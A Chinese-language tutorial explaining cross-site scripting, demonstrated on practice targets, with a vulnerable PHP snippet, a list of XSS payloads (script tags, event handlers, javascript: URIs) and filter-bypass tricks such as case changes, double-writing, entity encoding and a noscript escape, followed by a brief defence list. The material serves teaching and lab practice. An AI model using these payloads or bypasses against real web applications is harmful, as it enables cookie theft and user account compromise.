网络安全-跨站脚本攻击(XSS)的原理、攻击及防御

    技术2025-09-09  23

    目录

    简介

    所用工具

    XSS的类型

    反射型XSS/不持久型XSS

    存储型XSS/持久型XSS

    基于DOM的XSS

    常用Payload与工具

    XSS扫描工具

    Payloads

    script标签类

    结合js的html标签

    伪协议

    绕过

    防御

     


    简介

    跨站脚本攻击(全称Cross Site Scripting,为和CSS(层叠样式表)区分,简称为XSS)是指恶意攻击者在Web页面中插入恶意javascript代码(也可能包含html代码),当用户浏览网页之时,嵌入其中Web里面的javascript代码会被执行,从而达到恶意攻击用户的目的。XSS是攻击客户端,最终受害者是用户,当然,网站管理员也是用户之一。 XSS漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。

    php中常见的输出函数有:

    echo printf print print_r sprintf die var-dump var_export

    所用工具

    Google出品:开源Web App漏洞测试环境:Firing Range

    靶机:dvwa、pikachu

    XSS的类型

    反射型XSS/不持久型XSS

    选择的是echo函数,不加过滤,直接输出

    input.php

    <?php $input = $_GET['input']; echo 'output:<br>'.$input; ?> 显示

    可以看到我们的输入直接被输出。 那么,如果我们的参数是JavaScript代码呢?

    <script>alert('xss attack by lady_killer9')</script> js代码执行

    也就是说js能够做到的事情,都可在这里插入去实现,比如跳转到钓鱼网站。

     Firing Range的Html Body存在的反射型XSS

    反射性XSS攻击之html Body 脚本插入

    下面是在dvwa中的展示

    插入js代码

     

    提交 查看网页源代码

    存储型XSS/持久型XSS

    和反射型XSS的即时响应相比,存储型XSS则需要先把代码保存到数据库或文件中,下次读取时仍然会显示出来,利用的问题依然是没有对用户的输入进行过滤。使用靶机pikachu的存储型xss。

    <script>alert(document.cookie)</script> XSS注入 注入成功 注入后留言列表

    基于DOM的XSS

    基于文档对象模型(Document Object Model,DOM)的一种漏洞。客户端的脚本可以通过DOM动态地修改页面内容,它不依赖于提交数据到服务器,而是从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM型XSS漏洞。

    没了解过DOM的可以看一看HTML DOM教程

    HTML DOM就像数据结构中的树,有根节点,叶子节点等,通过document对象进行写入。

    F12查看源代码

    使用F12查看,发现是把id为text的输入框的内容显示出来。单引号闭合即可,而且F12的时候就直接看见了。

    提示给的是

    'onclick="alert('lady_killer9')">

    我使用的是

    'onclick='alert('lady_killer9') 注入成功

    常用Payload与工具

    XSS扫描工具

    XSStrikeBruteXSS TerminalBruteXSS GUIXSS Scanner OnlineXSSerxsscrapy

    工具不在于多,学一个就可以了,我学习的是第一个网络安全-XSStrike中文手册(自学笔记)。

    Payloads

    script标签类

    对于没有过滤的很简单的XSS漏洞,可以使用

    <script>alert(“XSS”)</script>

    有的时候会过滤掉script,大小写、双写等无法绕过,可使用后面的payload。

    结合js的html标签

    可结合一些onclick、onerror等事件

    <IMG οnmοuseοver="alert('xxs')">

    <img src=xss οnerrοr=alert(1)>

    伪协议

    上面的都不行的话,可以试试伪协议

    <IFRAME SRC="javascript:alert(1);"></IFRAME>

    <IMG DYNSRC="javascript:javascript:alert(1)">

    绕过

    大小写绕过

    <scRipt>alert(“XSS”)</scRipt>

    双写绕过

    <scrscriptipt>alert(“XSS”)</scrscriptipt>

    html编码绕过

    &lt;script&gt;alert(“XSS”)&lt;/script&gt;

    等价于

     <script>alert("XSS")</script>

    <a href=javascript&colon;alert&lpar;2&rpar;>a</a>

    等价于

    <a href=javascript:alert(2)>a</a>

    如果你还不了解常见编码,可查看:网络安全-WEB中的常见编码

    标签优先级绕过

    <noscript >标签比<img>标签解析优先性更高,所以</noscript >会优先闭合,导致<img>标签逃逸,从而造成xss执行

    <noscript><img src="asdasd</noscript><img src=* οnerrοr=prompt(1)>"></noscript>

    防御

    标签过滤事件过滤敏感字符过滤长度限制内容安全策略(CSP)

    当然,如果过过滤不全,或者CSP配置错误,也可能被绕过。

    更多内容查看:网络安全-自学笔记

    喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。如果您感觉有所收获,自愿打赏,可选择支付宝18833895206(小于),您的支持是我不断更新的动力。

    Processed: 0.010, SQL: 10